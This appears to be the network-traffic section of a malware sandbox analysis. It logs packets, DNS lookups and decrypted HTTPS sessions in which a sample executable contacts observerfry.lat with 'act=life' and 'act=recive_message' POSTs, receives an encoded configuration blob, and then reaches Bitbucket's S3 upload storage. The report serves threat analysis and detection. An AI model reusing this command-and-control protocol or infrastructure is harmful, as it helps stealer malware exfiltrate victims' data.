Dec 24, 2024 08:35:59.097572088 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.097588062 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.097611904 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.097650051 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.097660065 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.097707987 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.103888988 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.103914976 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.103948116 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.103980064 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.103995085 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.104013920 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.110327005 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.110361099 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.110405922 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.110420942 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.110450029 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.116610050 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.116667032 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.116686106 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.116700888 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.116719961 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.116754055 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.116775036 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.122777939 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.122809887 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.122839928 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.122863054 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.122888088 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.122904062 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.129101992 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.129137993 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.129173040 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.129182100 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.129208088 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.177696943 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.263933897 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.284315109 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.288616896 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.288645029 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.288707972 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.288738012 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.288754940 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.288769960 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.288769960 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.294289112 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.294311047 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.294356108 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.294364929 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.294394016 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.300477028 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.300496101 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.300556898 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.300566912 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.306849003 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.306873083 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.306982040 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.307008028 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.312921047 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.312964916 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.313004017 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.313014030 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.313051939 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.320012093 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.320050001 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.320076942 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.320100069 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.320111036 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.320154905 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.320183992 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.326045036 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.326062918 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.326085091 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.326137066 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.326143980 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.326174021 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.332001925 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.332021952 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.332123995 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.332130909 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.380816936 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.380850077 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.427696943 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.447932005 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.469101906 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.483211040 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.483226061 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.483254910 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.483287096 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.483290911 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.483330965 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.483347893 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.483391047 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.483855963 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.489564896 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.489588022 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.489629030 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.489636898 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.489670992 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.495368004 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.495408058 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.495444059 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.495454073 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.495481014 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.496284962 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.496336937 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.496345043 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.496355057 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.496406078 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.706056118 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.732745886 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.892817974 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.892848015 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:59.892854929 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:59.892862082 CET	443	49800	54.231.128.9	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 08:35:30.065306902 CET	52538	53	192.168.2.5	1.1.1.1
Dec 24, 2024 08:35:30.470843077 CET	53	52538	1.1.1.1	192.168.2.5
Dec 24, 2024 08:35:52.654853106 CET	53440	53	192.168.2.5	1.1.1.1
Dec 24, 2024 08:35:52.793339968 CET	53	53440	1.1.1.1	192.168.2.5
Dec 24, 2024 08:35:54.911170959 CET	59625	53	192.168.2.5	1.1.1.1
Dec 24, 2024 08:35:55.283575058 CET	53	59625	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 08:35:30.065306902 CET	192.168.2.5	1.1.1.1	0xbb86	Standard query (0)	observerfry.lat	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:35:52.654853106 CET	192.168.2.5	1.1.1.1	0xa896	Standard query (0)	bitbucket.org	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:35:54.911170959 CET	192.168.2.5	1.1.1.1	0x12f2	Standard query (0)	bbuseruploads.s3.amazonaws.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 08:35:30.470843077 CET	1.1.1.1	192.168.2.5	0xbb86	No error (0)	observerfry.lat		104.21.36.201	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:35:30.470843077 CET	1.1.1.1	192.168.2.5	0xbb86	No error (0)	observerfry.lat		172.67.199.72	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:35:52.793339968 CET	1.1.1.1	192.168.2.5	0xa896	No error (0)	bitbucket.org		185.166.143.50	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:35:52.793339968 CET	1.1.1.1	192.168.2.5	0xa896	No error (0)	bitbucket.org		185.166.143.48	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:35:52.793339968 CET	1.1.1.1	192.168.2.5	0xa896	No error (0)	bitbucket.org		185.166.143.49	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:35:55.283575058 CET	1.1.1.1	192.168.2.5	0x12f2	No error (0)	bbuseruploads.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 08:35:55.283575058 CET	1.1.1.1	192.168.2.5	0x12f2	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 08:35:55.283575058 CET	1.1.1.1	192.168.2.5	0x12f2	No error (0)	s3-w.us-east-1.amazonaws.com		54.231.128.9	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:35:55.283575058 CET	1.1.1.1	192.168.2.5	0x12f2	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.10.110	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:35:55.283575058 CET	1.1.1.1	192.168.2.5	0x12f2	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.50.105	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:35:55.283575058 CET	1.1.1.1	192.168.2.5	0x12f2	No error (0)	s3-w.us-east-1.amazonaws.com		54.231.231.113	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:35:55.283575058 CET	1.1.1.1	192.168.2.5	0x12f2	No error (0)	s3-w.us-east-1.amazonaws.com		16.182.33.33	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:35:55.283575058 CET	1.1.1.1	192.168.2.5	0x12f2	No error (0)	s3-w.us-east-1.amazonaws.com		16.182.65.201	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:35:55.283575058 CET	1.1.1.1	192.168.2.5	0x12f2	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.11.178	A (IP address)	IN (0x0001)	false
Dec 24, 2024 08:35:55.283575058 CET	1.1.1.1	192.168.2.5	0x12f2	No error (0)	s3-w.us-east-1.amazonaws.com		16.15.184.25	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

observerfry.lat

bitbucket.org

bbuseruploads.s3.amazonaws.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49724	104.21.36.201	443	7108	C:\Users\user\Desktop\yuij5p5p3W.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 07:35:31 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: observerfry.lat
2024-12-24 07:35:31 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-24 07:35:32 UTC	1124	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 07:35:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3ldlem1f8f3vpilis4b8tft2c5; expires=Sat, 19 Apr 2025 01:22:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DLjMddXqw0o9cssG4gpLv5moCd9gHiSCVmRyDVs5I%2FTh8py7Ai6gWAVU%2FER0kCqYoEqNVqwMygfBscutLgyBKwz8rGt8Db6%2FAnZIvQwixtGjmGfpJJwbr9hRDbJmn1tPsvc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6eea48dbe38c8f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1991&min_rtt=1978&rtt_var=768&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=906&delivery_rate=1401151&cwnd=209&unsent_bytes=0&cid=4fa6d3c296642aa4&ts=1046&x=0"
2024-12-24 07:35:32 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-24 07:35:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49732	104.21.36.201	443	7108	C:\Users\user\Desktop\yuij5p5p3W.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 07:35:33 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: observerfry.lat
2024-12-24 07:35:33 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-24 07:35:35 UTC	1134	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 07:35:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=di92qqdcmrt57j9vll4mqd016r; expires=Sat, 19 Apr 2025 01:22:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BmJmu2WyMS925ZG8R2%2FZd0%2FD%2FWzUiErRbmZ3%2BSVXOlurGQULQModcDCX011YTSXDjw0MZlnoRILr%2BF%2BuPNHqpqFpeG5x45T96hsiEAhS3XhE%2B34p3Ke6riSQFUQdeX2%2B4lk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6eea572bb20f6c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1619&min_rtt=1608&rtt_var=625&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=952&delivery_rate=1719670&cwnd=180&unsent_bytes=0&cid=200506a20f28192e&ts=1097&x=0"
2024-12-24 07:35:35 UTC	235	IN	Data Raw: 63 35 66 0d 0a 38 61 6a 61 77 46 36 72 35 66 54 36 30 6c 48 45 54 59 4b 6b 4a 4c 54 67 70 41 61 69 34 70 63 58 78 67 58 56 44 34 75 47 55 45 43 4b 69 71 7a 69 5a 4a 2f 4a 31 6f 6d 33 63 2f 34 35 38 4e 46 42 6d 4d 4c 46 59 6f 44 59 38 58 61 71 64 72 41 6a 71 66 41 39 59 73 76 4f 75 36 77 74 7a 73 6e 57 6e 36 70 7a 2f 68 62 35 68 6b 48 61 77 70 34 6b 78 34 6a 31 64 71 70 6e 74 47 54 6b 39 6a 77 6a 6d 63 53 39 71 44 76 49 67 5a 57 57 76 7a 53 68 4b 4f 50 4f 53 74 32 4e 7a 47 75 41 7a 72 56 79 76 43 66 76 4c 63 62 6a 4a 43 47 38 79 61 6d 72 66 4e 62 4a 6a 39 69 33 50 2b 5a 33 6f 4d 56 42 31 6f 7a 43 59 73 6d 4b 2f 33 2b 69 5a 72 46 6c 2b 2b 38 32 4b 4a 6e 4b 76 71 6b 78 77 5a 57 59 6e 4c 67 2f 70 79 Data Ascii: c5f8ajawF6r5fT60lHETYKkJLTgpAai4pcXxgXVD4uGUECKiqziZJ/J1om3c/458NFBmMLFYoDY8XaqdrAjqfA9YsvOu6wtzsnWn6pz/hb5hkHawp4kx4j1dqpntGTk9jwjmcS9qDvIgZWWvzShKOPOSt2NzGuAzrVyvCfvLcbjJCG8yamrfNbJj9i3P+Z3oMVB1ozCYsmK/3+iZrFl++82KJnKvqkxwZWYnLg/py
2024-12-24 07:35:35 UTC	1369	IN	Data Raw: 4c 6a 68 67 69 57 68 64 34 6b 6d 4d 43 6d 52 36 64 32 70 6e 6a 6b 39 44 52 69 6a 49 53 68 34 6a 76 46 78 38 37 59 75 44 2b 6f 4b 75 50 4a 51 64 65 43 31 47 76 41 67 2f 31 39 6f 47 32 34 59 75 62 71 4f 43 57 62 77 37 2b 74 4f 38 47 42 6d 5a 76 77 66 65 59 6f 2b 49 59 65 6c 71 4c 57 5a 38 4f 55 2b 47 54 6b 65 50 6c 30 71 65 4d 2b 59 73 75 4b 76 71 77 39 78 49 65 45 6b 4c 73 34 6f 7a 33 72 7a 30 76 62 67 73 74 75 7a 34 50 31 63 71 35 74 75 47 66 74 36 54 38 6b 6b 38 72 34 37 48 7a 4f 6e 39 62 41 38 42 43 6a 50 2b 66 4b 55 4a 53 34 68 6e 75 4f 6d 62 56 79 71 43 66 76 4c 65 48 68 4d 53 47 59 78 62 75 71 4e 39 75 48 68 4a 36 39 4e 72 51 70 35 63 68 4d 31 5a 44 4d 61 73 61 44 2f 48 36 74 59 72 42 70 71 61 70 79 4a 59 75 4b 34 4f 49 64 78 49 79 61 6b 71 63 7a 35 Data Ascii: LjhgiWhd4kmMCmR6d2pnjk9DRijISh4jvFx87YuD+oKuPJQdeC1GvAg/19oG24YubqOCWbw7+tO8GBmZvwfeYo+IYelqLWZ8OU+GTkePl0qeM+YsuKvqw9xIeEkLs4oz3rz0vbgstuz4P1cq5tuGft6T8kk8r47HzOn9bA8BCjP+fKUJS4hnuOmbVyqCfvLeHhMSGYxbuqN9uHhJ69NrQp5chM1ZDMasaD/H6tYrBpqapyJYuK4OIdxIyakqcz5
2024-12-24 07:35:35 UTC	1369	IN	Data Raw: 47 32 70 44 4b 62 73 61 50 2b 48 6e 6b 4b 66 64 71 38 61 52 71 59 72 6e 4a 72 4b 45 32 69 37 4b 56 6c 72 34 30 73 47 2f 2f 69 46 2b 57 68 63 6f 6b 6d 4d 44 34 64 4b 78 68 70 57 4c 6b 35 7a 77 73 6e 4d 2b 33 71 6a 7a 4a 69 70 4f 63 75 7a 69 6c 49 75 54 55 54 4e 61 4b 77 32 58 4b 69 72 55 37 35 47 43 76 4c 62 47 6b 41 7a 57 59 69 49 32 68 4d 73 65 41 67 4e 69 76 66 62 39 76 35 38 6f 47 6a 73 4c 4c 62 4d 57 46 2b 6e 53 75 61 62 4a 6e 35 65 77 38 49 59 48 46 76 4b 49 77 77 59 32 62 6c 72 51 37 72 79 54 72 77 45 62 58 69 49 59 71 67 49 66 74 4e 66 77 6e 67 32 72 6c 36 54 31 67 70 73 6d 32 72 44 76 66 78 34 6e 57 71 58 4f 68 49 36 43 65 42 74 71 4c 78 6d 2f 4b 68 50 56 79 71 57 4b 30 61 75 72 70 4e 53 69 64 7a 62 79 75 4e 63 53 42 6c 70 2b 30 4e 72 51 71 36 63 Data Ascii: G2pDKbsaP+HnkKfdq8aRqYrnJrKE2i7KVlr40sG//iF+WhcokmMD4dKxhpWLk5zwsnM+3qjzJipOcuzilIuTUTNaKw2XKirU75GCvLbGkAzWYiI2hMseAgNivfb9v58oGjsLLbMWF+nSuabJn5ew8IYHFvKIwwY2blrQ7ryTrwEbXiIYqgIftNfwng2rl6T1gpsm2rDvfx4nWqXOhI6CeBtqLxm/KhPVyqWK0aurpNSidzbyuNcSBlp+0NrQq6c
2024-12-24 07:35:35 UTC	201	IN	Data Raw: 79 48 4b 41 6e 37 74 73 35 47 43 37 4c 62 47 6b 4f 79 75 42 78 4c 61 72 4d 63 2b 50 6b 5a 61 39 4f 4b 41 6b 35 38 46 41 32 34 72 4c 59 63 4f 42 38 58 2b 32 5a 4c 78 6e 35 4f 35 79 62 4e 50 4e 6f 4f 4a 6b 69 61 43 61 73 61 41 6f 74 44 6d 67 32 51 6a 50 77 73 46 6f 67 4e 69 31 64 71 74 75 75 47 58 68 36 7a 30 6d 6e 63 79 2b 72 7a 6e 47 6a 59 53 51 76 6a 36 74 49 4f 76 55 52 74 75 47 79 6d 44 49 69 2f 38 31 36 69 65 77 64 61 6d 38 63 68 65 65 78 62 69 68 4b 6f 6d 59 32 49 48 77 4e 4b 70 76 75 49 5a 4b 32 49 4c 4a 61 4d 79 4c 2f 58 53 6f 61 62 42 6f 34 4f 77 36 4d 4a 4c 4f 73 4b 4d 79 78 6f 61 0d 0a Data Ascii: yHKAn7ts5GC7LbGkOyuBxLarMc+PkZa9OKAk58FA24rLYcOB8X+2ZLxn5O5ybNPNoOJkiaCasaAotDmg2QjPwsFogNi1dqtuuGXh6z0mncy+rznGjYSQvj6tIOvURtuGymDIi/816iewdam8cheexbihKomY2IHwNKpvuIZK2ILJaMyL/XSoabBo4Ow6MJLOsKMyxoa
2024-12-24 07:35:35 UTC	1369	IN	Data Raw: 33 63 62 64 0d 0a 53 6e 62 55 33 6f 53 76 6d 79 51 61 59 77 73 46 38 67 4e 69 31 57 6f 4e 53 39 55 7a 54 70 43 31 73 69 6f 71 2f 72 6e 79 52 78 35 71 62 76 44 75 70 4b 65 6e 4b 54 4e 2b 4a 79 6d 2f 45 6a 50 78 77 6f 6d 61 79 61 4f 6a 67 50 69 69 56 79 62 75 74 4d 38 61 50 31 74 62 77 4e 4c 35 76 75 49 5a 6a 77 59 6e 49 59 6f 43 66 75 32 7a 6b 59 4c 73 74 73 61 51 2b 4b 35 58 4d 76 61 34 39 7a 34 2b 54 6b 4c 51 79 6f 43 6e 6a 79 55 4c 54 67 38 6c 67 7a 49 37 2f 64 4b 56 72 76 47 4c 69 34 58 4a 73 30 38 32 67 34 6d 53 4a 74 70 57 4f 70 79 4f 71 62 2f 2b 49 58 35 61 46 79 69 53 59 77 50 52 6e 72 6d 32 35 61 4f 62 68 4d 53 32 55 78 37 36 75 4e 73 43 50 6b 4a 65 35 49 61 55 6a 37 73 46 49 32 6f 7a 4c 62 73 4f 4e 74 54 76 6b 59 4b 38 74 73 61 51 65 4a 5a 37 6b Data Ascii: 3cbdSnbU3oSvmyQaYwsF8gNi1WoNS9UzTpC1sioq/rnyRx5qbvDupKenKTN+Jym/EjPxwomayaOjgPiiVybutM8aP1tbwNL5vuIZjwYnIYoCfu2zkYLstsaQ+K5XMva49z4+TkLQyoCnjyULTg8lgzI7/dKVrvGLi4XJs082g4mSJtpWOpyOqb/+IX5aFyiSYwPRnrm25aObhMS2Ux76uNsCPkJe5IaUj7sFI2ozLbsONtTvkYK8tsaQeJZ7k
2024-12-24 07:35:35 UTC	1369	IN	Data Raw: 75 43 68 49 72 77 66 65 59 6f 2b 49 59 65 6c 72 54 42 64 4e 43 44 74 30 53 79 5a 4b 46 6d 35 4f 68 79 50 64 33 54 2b 4b 55 77 69 64 2f 57 6e 72 38 36 70 53 44 68 7a 30 72 62 68 38 39 68 77 59 62 78 66 36 35 6e 73 57 76 6f 34 54 67 68 6b 73 43 78 70 54 54 4f 68 49 54 59 2f 6e 4f 68 4e 36 43 65 42 76 2b 46 31 47 72 51 77 4f 6f 37 76 53 65 77 59 61 6d 38 63 69 61 5a 78 62 79 6c 4d 4d 2b 43 6b 4a 57 78 50 4b 63 76 37 38 4a 4e 33 34 54 48 61 63 57 4e 38 57 65 75 62 4c 68 68 34 4f 67 2f 59 74 32 4b 76 37 70 38 6b 63 65 6e 6c 62 34 39 6f 54 6d 67 32 51 6a 50 77 73 46 6f 67 4e 69 31 64 4b 68 6f 74 47 4c 71 35 7a 4d 6f 67 64 69 30 71 7a 54 4d 69 35 32 57 74 69 47 67 49 4f 6e 46 52 64 2b 46 7a 6d 6a 4b 67 2f 49 31 36 69 65 77 64 61 6d 38 63 67 47 45 32 72 58 69 49 Data Ascii: uChIrwfeYo+IYelrTBdNCDt0SyZKFm5OhyPd3T+KUwid/Wnr86pSDhz0rbh89hwYbxf65nsWvo4TghksCxpTTOhITY/nOhN6CeBv+F1GrQwOo7vSewYam8ciaZxbylMM+CkJWxPKcv78JN34THacWN8WeubLhh4Og/Yt2Kv7p8kcenlb49oTmg2QjPwsFogNi1dKhotGLq5zMogdi0qzTMi52WtiGgIOnFRd+FzmjKg/I16iewdam8cgGE2rXiI
2024-12-24 07:35:35 UTC	1369	IN	Data Raw: 65 75 54 57 68 4b 65 37 55 51 39 43 4e 79 57 33 4a 68 50 31 32 70 47 4f 7a 61 75 7a 6e 50 69 6d 55 79 62 65 6d 4e 63 65 4f 6d 64 6a 2b 63 36 45 33 6f 4a 34 47 39 35 6e 46 61 4d 33 41 36 6a 75 39 4a 37 42 68 71 62 78 79 4c 70 33 50 75 4b 67 36 7a 59 4b 51 6b 72 55 7a 72 53 7a 76 77 6b 44 53 6a 63 5a 76 79 59 48 7a 63 4b 35 73 73 57 44 71 34 6a 52 69 33 59 71 2f 75 6e 79 52 78 37 61 44 76 54 2b 68 62 2f 2b 49 58 35 61 46 79 69 53 59 77 50 35 35 6f 47 43 33 59 4f 72 73 4e 79 61 5a 7a 37 69 71 4c 73 47 48 6b 59 71 69 4d 36 38 71 37 4d 56 47 30 6f 54 50 59 73 4f 45 74 54 76 6b 59 4b 38 74 73 61 51 66 4c 70 54 6a 76 37 6c 38 31 73 6d 50 32 4c 63 2f 35 6e 65 67 78 30 33 63 6a 63 74 